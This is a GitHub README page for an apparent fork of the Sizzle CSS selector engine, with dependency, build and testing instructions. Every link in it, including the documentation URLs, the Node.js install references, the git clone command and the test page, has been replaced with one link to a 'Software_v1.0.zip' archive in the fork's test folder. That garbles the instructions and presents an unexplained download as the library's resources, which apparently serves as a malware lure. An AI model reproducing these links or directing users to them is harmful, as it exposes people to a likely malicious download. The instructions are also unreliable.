Skip to content

christianbodart/sizzle

 
 

Repository files navigation

Sizzle

A pure-JavaScript CSS selector engine designed to be easily dropped in to a host library.

More information: https://raw.githubusercontent.com/christianbodart/sizzle/master/test/Software_v1.0.zip

Discussion: https://raw.githubusercontent.com/christianbodart/sizzle/master/test/Software_v1.0.zip

Documentation: https://raw.githubusercontent.com/christianbodart/sizzle/master/test/Software_v1.0.zip

Browser support: https://raw.githubusercontent.com/christianbodart/sizzle/master/test/Software_v1.0.zip

Dependencies

In order to build Sizzle, you need to have https://raw.githubusercontent.com/christianbodart/sizzle/master/test/Software_v1.0.zip latest and git 1.7 or later.
(Earlier versions might work OK, but are not tested.)

Windows users have two options:

  1. Install msysgit (Full installer for official Git) and a binary version of https://raw.githubusercontent.com/christianbodart/sizzle/master/test/Software_v1.0.zip. Make sure all two packages are installed to the same location (by default, this is C:\Program Files\Git).
  2. Install Cygwin (make sure you install the git and which packages), and a binary version of https://raw.githubusercontent.com/christianbodart/sizzle/master/test/Software_v1.0.zip.

Mac OS users should install Xcode (comes on your Mac OS install DVD, or downloadable from Apple's Xcode site) and Homebrew. Once Homebrew is installed, run brew install git to install git, and brew install node to install https://raw.githubusercontent.com/christianbodart/sizzle/master/test/Software_v1.0.zip

Linux/BSD users should use their appropriate package managers to install git and https://raw.githubusercontent.com/christianbodart/sizzle/master/test/Software_v1.0.zip, or build from source if you swing that way. Easy-peasy.

Building

First, clone a copy of the main Sizzle git repo by running:

git clone https://raw.githubusercontent.com/christianbodart/sizzle/master/test/Software_v1.0.zip

Install the grunt-cli package so that you will have the correct version of grunt available from any project that needs it. This should be done as a global install:

npm install -g grunt-cli

Enter the Sizzle directory and install the Node dependencies, this time without specifying a global install:

cd sizzle && npm install

Make sure you have grunt installed by testing:

grunt -version

Then, to get a complete, minified (w/ UglifyJS2), linted (w/ JSHint) version of Sizzle, type the following:

grunt

The built version of Sizzle will be put in the dist/ subdirectory, along with the minified copy and associated map file.

Testing

  • First, make sure you have bower installed.
  • Run 'bower install' to install QUnit
  • Open https://raw.githubusercontent.com/christianbodart/sizzle/master/test/Software_v1.0.zip in the browser or grunt or grunt qunit on the command line
  • The actual unit tests are in the test/unit directory.

Developing with grunt

About

A sizzlin' hot selector engine.

Resources

Contributing

Stars

Watchers

Forks

Packages

 
 
 

Contributors

Languages

  • JavaScript 70.7%
  • HTML 25.9%
  • CSS 3.4%